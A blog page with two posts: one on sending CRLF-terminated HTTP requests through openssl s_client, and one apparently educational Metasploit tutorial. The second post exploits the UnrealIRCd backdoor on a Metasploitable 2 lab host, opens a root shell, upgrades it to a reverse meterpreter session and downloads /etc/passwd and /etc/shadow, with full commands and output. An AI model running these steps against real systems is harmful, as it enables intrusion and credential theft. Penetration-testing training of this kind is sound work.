GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Mon, 28 Dec 2020 22:47:04 GMT
Server: Apache
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Referrer-Policy: no-referrer
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15552000
Content-Length: 291
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache Server at www.debian.org Port 443</address>
</body></html>
closed

You do not even get a chance to enter the “Host: …” line!
The same is true for other servers – as the one supporting e.g. one of my own domains “anracon.de”.

A simple trick shows what the correct request format is and that it works …

Let us use a
simple trick with echo and a pipe on the Linux shell:

myself@mytux:~> (echo -ne "GET / HTTP/1.1\r\nHost: www.debian.org\r\n\r\n") | openssl s_client -tls1_2 -quiet  -connect www.debian.org:443

This leads to

depth=2 O = Digital Signature Trust Co., CN = DST Root CA X3
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
verify return:1
depth=0 CN = www.debian.org
verify return:1
HTTP/1.1 200 OK
Date: Mon, 28 Dec 2020 23:09:01 GMT
Server: Apache
Content-Location: index.en.html
Vary: negotiate,accept-language,Accept-Encoding,cookie
TCN: choice
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Referrer-Policy: no-referrer
X-Xss-Protection: 1
Strict-Transport-Security: max-age=15552000
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Sun, 27 Dec 2020 19:27:21 GMT
ETag: "36b1-5b777257b5a41"
Accept-Ranges: bytes
Content-Length: 14001
Cache-Control: max-age=86400
Expires: Tue, 29 Dec 2020 23:09:01 GMT
X-Clacks-Overhead: GNU Terry Pratchett
Content-Type: text/html
Content-Language: en

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Debian -- The Universal Operating System </title>
...
...
</div>
<!--/UdmComment-->
</div> <!-- end footer -->
</body>
</html>

 
After a timeout we get back our prompt.

So, we see that the server reacts properly for the end of line characters used, namely “\r\n” after “GET / HTTP/1.1” and after “Host: www.debian.org” plus after an empty line (leading to 2 “\r\n” at the end of the request).

But if we this change to

myself@mytux:~> (echo -ne "GET / HTTP/1.1\nHost: www.debian.org\r\n\r\n") | openssl s_client -tls1_2 -quiet  -connect www.debian.org:443

we run into a “HTTP/1.1 400 Bad Request” answer again
(Note the “\n” before “Host: …”)

Obviously, our “openssl s_client” interface works with LF-characters when pressing the “ENTER”-key on the command line. Well, the interface uses the typical Linux/Unix-style for EOLs …

By the way:
Some servers set very short timeouts for receiving all request lines – you may have difficulties with typing fast enough. Then the “trick” with an echo-command and a pipe is very useful to test the server none the less.

What is the reason for the unequal behavior of different servers?

The correct way to build HTTP-Requests is described e.g. in “www.tutorialspoint.com (http/http_requests.htm)“; I quote:

  • A Request-line
  • Zero or more header (General|Request|Entity) fields followed by CRLF
  • An empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields
  • Optionally a message-body

According to RFC7230 a HTTP-Request line has the following format:

request-line = method SP request-target SP HTTP-version CRLF

However, in section 3.5 the named RFC also says:

Although the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.

So, this explains the different behavior of some web-servers to the commands sent with “openssl s_client”.

What can we do with “openssl s_client” to enforce a CRLF as the end of lines when pressing the “ENTER”-key?

The ”
openssl s_client” has a lot of options. You find an overview at the following URI:
https://zoomadmin.com / HowToLinux / LinuxCommand / s_client
The required option for our purpose is “-crlf“; we thus arrive at:

openssl s_client <strong>-quiet -crlf</strong> -tls1_2 -connect YOUR_TARGET_WEB_DOMAIN:443

as the right way to bring RFC compliant web-servers to answer without error messages to manually sent HTTP requests within “openssl s_client”.

Prepare your terminal for long answers from the server

Some web-sites may present long web pages. The HTTP/HTML code sent to you as an answer may be pretty long. As most Linux terminals limit the scroll-able output length by default you should look out for settings that allow for long or infinite output within the terminal emulation of your choice. KDE’s “konsole” e.g. offers you an option to allow for scrolling output with unlimited length. A noteworthy side-effect is, however, that the contents is saved unencrypted in temporary files (for which you can define a location on your PC). So, be a bit careful when using such options.

Conclusion

Using CRLF is the RFC defined way to properly end HTTP request and header field lines. (… whether we from the Linux side may like this MS influenced definition or not …). To enforce an “openssl s_client” to interpret the signal from an “ENTER”-key as “CRLF” (instead of “LF”) we should use the option “-crlf” when opening “s_client”. The additional options “-ign_eof” or “-quiet” are useful to prevent a shutdown of the connection before the server’s answer is fully displayed.

Links

https://zoomadmin.com/HowToLinux/LinuxCommand/s_client
https://stackoverflow.com/questions/5757290/http-header-line-break-style
https://tools.ietf.org/html/rfc7230#section-3.5
https://www.tutorialspoint.com/http/http_requests.htm
https://www.tutorialspoint.com/http/http_quick_guide.htm

Penetration testing: Kali, Metasploit, upgrade of a session to meterpreter

Recently, I started reading in the German book of E. Amberg and D. Schmid on “Hacking” (see the full reference at this post’s end). This is a book with over 1000 pages and it documents the effort of the authors to give a full overview over the wide spectrum of terms used in pen-test and hacking environments, steps of penetration testing, attack variants, tools, defense options, and, and …. . Well, it provides a really broad overview, but in contrast to some other more focused books it is not a real teaching book on penetration testing – in my opinion.

However, at some points the authors describe introductory examples, also simple exploits which can be tested e.g. on targets like Metasploitable 2 or 3 or on prepared Windows systems. This post was inspired by a chapter of the authors about “meterpreter” which they introduced after an exploitation example, i.e. in a post exploitation phase. The chapter deserves some additional hints, small, but hopefully useful for beginners.

Disclaimer:
All the information given in this post is for educational purposes and addresses people interested in and starting with penetration testing. It partially refers to information on the Metasploit Framework [MSF] and Metasploitable targets published in different form elsewhere. Book references are given at the end of this post. If you test out the examples given below, only do this in environments for which the owners and the administrators of the affected networks and systems have given you explicit written consent to install, isolate and use systems with MSF and a Metasploitable target system. Cooperate with the administrators to configure respective network segments and firewalls. Never expose a Metasploitable system to the Internet.

Exploits and shells

During pen-testing (always with the consent of your customer and system administrator) you may not only be requested to find vulnerabilities, but also to verify that an attacker really could exploit them. So – again with the explicit consent of your customer and after a solid risk estimation for the systems and networks under investigation – you may start exploits, e.g with the help of the Metasploit framework [MSF]. Your first objective then – for convenience reasons, but also for obfuscation reasons – is probably to work with a meterpreter shell, which indeed offers a variety of very convenient commands for a post exploitation phase. Often exploits offered by the MSF will not give you a chance to transfer meterpreter as a payload, but only simple interaction shells.

To replace a basic command shell of an achieved session on an attacked target with meterpreter actually is a basic move within MSF, but you may have to take care of some steps ahead. In the named book the authors mention a specific method, namely to upgrade an existing “session” to a meterpreter session.

Upgrade of a plaintext command shell with “sessions -u

The named authors perform the following attack steps to get a session on a Metasploitable target:

  1. They use the exploit DistCC from a Kali host and get a command shell.
  2. They use an additional exploit for a privilege escalation to get root rights and to open a reverse shell to the attacking host; they provide the IP address of the Kali host and a listener port there as parameters of the exploit. They then prepare a suitable executable of the exploit and install it on the attack’s target host (i.e. the Metasploitable system).
  3. They start a listener (with “exploit/multi/handler”) on the Kali host. During this step they set the IP-address of the Kali host and the port there to be addressed by the reverse connection later on.
  4. They start the deployed
    secondary exploit on the attack target. Immediately afterward they get a session with a basic shell with MSF on the attacking Kali system.
  5. They list up the open sessions by “sessions -l” and get the session’s ID – e.g. 2.
  6. They upgrade the session to a meterpreter session with “sessions -u SESSION_ID“. SESSION_ID has to be replaced by the session ID. In the example: “sessions -u 2”.

So far, so good. Works perfectly – at least after this specific succession of steps.

Interestingly enough Rapid7 in its documentation on the (expensive) Metasploit Pro does not discuss the command line option “sessions -u” to upgrade a sessoin – Rapid 7 only presents the option to start a meterpreter shell via the “available actions” on the graphical interface of MSF Pro. Probably the interface does nothing else than our CLI command ….

https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions

Note that Sparc Flow in his book “Hack like a Pornstar” uses a different way in his example of attacking a Linux server. He manually prepares a meterpreter executable (with the help of “veil”) and places it on the attacked host and starts it there. Maybe more realistic. MSF in the above example transfers meterpreter components to the attacked host as a part of the last step.

Now, a beginner to metasploit may try to repeat something similar with a different basic exploit and may fail with the session upgrade. Why?

Think about firewalls – both remote and local

A trivial point might be a firewall- somewhere …
As a pen-tester you probably want to protect your own systems during tests – also when you are at a customer’s site. (You may find some guys there who try to fiddle with you during your tests.) Your Kali will run on an isolated virtual machine or special live system on some laptop. You may have some routing and a local firewall in place on your Linux host system which controls the communication to your Kali (guest) system. But also the attacked host may reside behind a firewall (e.g. of a network segment). So, you have to carefully think about which ports to use for reverse shells. This is a basic first point where real examples may differ from the idealized world in books. I recommend to train quick reconfigurations of your own firewalls – and watch their actions via “tail” during pen-tests.
Actually, if did not have to think about firewalls and the example given by the named authors worked as described without problems this is the first indication that the network and systems on it are not well managed or that you yourself are not well prepared.

Is meterpreter an optional payload of all exploits available in MSF?

Some other textbooks introduce meterpreter as a direct payload of an exploit used within MSF. One example is M. Messner’s book on Metasploit. However, many exploits available in MSF do not give you this chance. Book examples typically do and can not cover all situations. So, one should be familiar with some way of upgrading a session … Let us look at an example with “Metasploitable 2” as a target system.

Example – IRC exploit on Metasploitable 2

Lets try a specific attack from a Kali system against a Metasploitable 2 target. Each host resides in an (isolated) LAN segment.
As I have performed this attack before I already have a respective vulnerability entry in the database tables of my MSF workspace:

msf6 > vulns

Vulnerabilities
===============

Timestamp                Host           Name                                           References
---------                ----           ----                                           ----------
...
...
2020-11-26 17:15:14 
UTC  172.16.40.121  UnrealIRCD 3.2.8.1 Backdoor Command Execution  CVE-2010-2075,OSVDB-65445,URL-http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
2020-11-26 17:34:31 UTC  172.16.40.121  VSFTPD v2.3.4 Backdoor Command Execution       OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
2020-11-26 17:44:45 UTC  172.16.40.121  Generic Payload Handler    
...

Ok, let MSF do its work:

Infos about the exploit:

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://cvedetails.com/cve/CVE-2010-2075/
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Here we see already that this exploit does not provide much space for action on the target system. There are not many option either:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

OK, does it have a “check” option?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 172.16.40.121
RHOST => 172.16.40.121
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

What payloads are available?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   cmd/
unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

No meterpreter there. OK, a normal shell then …

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Further options?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.40.121    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  172.16.40.121    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Do not getconfused by the LPORT setting. In this case it means the listening port at the attacked site – not on our local Kali host. Do our firewalls allow for packets to port 4444 on the target? Yes, OK, then we run the exploit:

Using the exploit:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 172.16.30.129:6667 - Connected to 172.16.40.121:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 172.16.30.129:6667 - Sending backdoor command...
[*] Started bind TCP handler against 172.16.40.121:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.40.121:4444) at 2020-11-28 14:04:02 +0100

The interesting line is the last one, no IP address of our own attacking host appears. However, netstat on the Kali host reveals:

netstat -an | grep 4444
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  

Our exploit setup a TCP listener on port 4444 on the target and we connected with a command shell. We should be able to see this from our shell; we just type at the blinking cursor in Metasploit:

    

whoami
root
netstat -an | grep 4444
tcp        0      0 172.16.40.121:4444      192.168.77.22:46705     ESTABLISHED

Well, we became root even with this backdoor exploit. But this is only a side remark.

Now, let us use the recipe from the “Hacking”-book authors:
We press the “CTRL-Z” key combination to put our session to the background and get an option to issue further commands at the metasploit prompt:

Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.40.121:4444 (172.16.40.121)
  

The command “sessions” revealed a session ID to us. Now, we use the exploit shell_to_meterpreter.

Apply “shell_to_meterpreter” and “multi/handler” indirectly via ”
sessions -u”

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 0.0.0.0:4433 
[*] Command stager progress: 100.00% (769/769 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.30.129:4444 (172.16.30.129)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

We had expected a new meterpreter session. But nothing happens. After some time we even get a message that the started handler was stopped:

[*] Stopping exploit/multi/handler

So, what is wrong?

The manual way to upgrade to meterpreter …

When we compare our exploit to the one discussed by the authors of the “Hacking”-book we see some differences:

The authors used a reverse shell payload. At some point they specified the IP address of the attacking host, i.e. of our Kali system. In their case the “sessions” command displayed a session which explicitly contained the IP-address of the local attacker host, i.e. of the Kali system.

Hmm. We doubt that meterpreter needs an already existing reverse shell established. Reading a bit we understand that meterpreter works as staged program. Things get uploaded in pieces via an established shell to the target’s TCP handler and from there into the target’s RAM.

But what if the meterpreter piece on the target requires the IP of the host because it wants to connect to the host, i.e. built its own reverse connection from the point of the view of the attacker? And what if this is taken wrongly from the running session? Or what if a local listener on the attacking Kali host is established with a wrong IP address? Then we expect problems!

Even if we later on establish a session from the Kali host to the target the uploaded and RAM-established meterpreter part on the target needs to tell the attacking host which port it will use on the target! Thus, the communication setup on both hosts must work correctly!

Let us see. There is a manual “exploit” module and command to establish meterpreter. It is even mentioned by the authors of the “Hacking”-book, but they do not elaborate on it: “/post/multi/manage/shell_to_meterpreter“.
We saw a line about it in the output of “sessions -u”, too. Ok, let us use it:

Direct use of shell to meterpreter

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <tom@fadedcode.net>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  
meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

We see that indeed reverse TCP handlers are established – meterpreter on the target will want to connect back to us. It starts a handler for it. And we have to provide suitable options:

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Ok, we decide for a local port 8090 – and open it on firewalls. We set the relevant options:

post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.77.22
LHOST => 192.168.77.22
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 8090
LPORT => 8090
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

Successful session upgrade

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.77.22:8090 
[*] Sending stage (976712 bytes) to 172.16.40.121
[*] Meterpreter session 2 opened (192.168.77.22:8090 -> 172.16.40.121:53847) at 2020-11-28 15:55:06 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                           0.0.0.0:0 -> 172 .16.40.121:4444 (172.16.40.121)
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.77.22:8090 -> 172.16.40.121:53847 (172.16.40.121)

Success! On our Kali host netstat reveals:

Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 192.168.77.22:8090      172.16.40.121:53847     VERBUNDEN  
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  
...

Let us use session 1 first:

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

netstat -an | grep 4444 
tcp        0      0 172.16.30.129:4444      192.168.10.12:46705     ESTABLISHED
netstat -an | grep 8090
tcp        0      0 172.16.30.129:53847     192.168.10.12:8090      ESTABLISHED

Now we press the key combination “Ctrl-Z“, again, and switch to session 2 by using “sessions -i” (the “i” stands for “interaction”):

Background session 1? [y/N]  y
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
/etc/unreal
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > lcd /root
meterpreter > lpwd
/root
meterpreter > 
getlwd
/root
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd -> ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> ./metasploitable2/passwd
[*] download   : /etc/passwd -> ./metasploitable2/passwd
meterpreter > download /etc/shadow ./metasploitable2
[*] Downloading: /etc/shadow -> ./metasploitable2/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> ./metasploitable2/shadow
[*] download   : /etc/shadow -> ./metasploitable2/shadow
meterpreter > route

IPv4 network routes
===================

    Subnet       Netmask        Gateway      Metric  Interface
    ------       -------        -------      ------  ---------
    0.0.0.0      0.0.0.0        172.16.40.1  100     eth0
    172.16.40.0  255.255.255.0  0.0.0.0      0       eth0

No IPv6 routes were found.

The system is yours, now. As an example, we have downloaded the password files from the Metasploitable system to a prepared local directory for later analysis.

Enough for today. Let us kill all sessions after a “Ctrl-Z”:

Background session 2? [y/N]  
msf6 post(multi/manage/shell_to_meterpreter) > sessions -K
[*] Killing all sessions...
[*] 172.16.30.129 - Command shell session 1 closed.
[*] 172.16.30.129 - Meterpreter session 2 closed.

What was the reason for the failure in the first trial with “sessions -u”?

You can repeat out first attack and start “sessions -u”. You have some time until the multi-handler gets stopped again. During this time you can check communication packets with wireshark at network interfaces of the hosts. And you can have a look with netstat at listeners and ports on the hosts. You will find that packets from the targetto the Kali host are addressed correctly. But a look with netstat on the Kali host reveals:

...
tcp        0      0 0.0.0.0:4433            0.0.0.0:*              LISTEN    
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
...

In case of the working solution we find in contrast:

....
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     LISTEN   
...

and then

tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     VERBUNDEN 

So, the handler for the reverse connection on the Kali host caused the problem: It took the default IP 0.0.0.0 from the original session which only had to establish a forward direction.

Conclusion

During our experiments we saw that some simple text book examples do not always work. It depends on the exploits, the handlers, the required parameters for communication settings, …. Upgrading an existing basic shell session (connected to a compromised target host) to a meterpreter session will not always work with “sessions -u”.

The success of “sessions -u” depends on the original exploit options and their payloads. Some exploit/payload combinations do not require a LHOST IP address. They do not set up a reverse connection. Instead 0.0.0.0:0 may appear after the exploit in the local MSF session overview. Then “sessions -u” will fail. Metasploit is not perfect ….

In such cases it is good to know that you can use and configure “post/multi/manage/shell_to_meterpreter” manually. In most cases this lead to a successful upgrade of an existing session to meterpreter where “sessions -u” failed.

Book references

“Hacking – Der umfassende Praxis-Guide”, Fritz Amberg, Daniel Schmidt, 2020, mitp Verlags GmbH & Co KG, Frechen

“How to … Hack like a Pornstar”, Sparc Flow, 2017, ISBN 978-1-5204-7851-7

“Metasploit- Das Handbuch zum Penetration-Testing-Framework”, M. Messner, 2012, dpunkt.
verlag GmbH, Heidelberg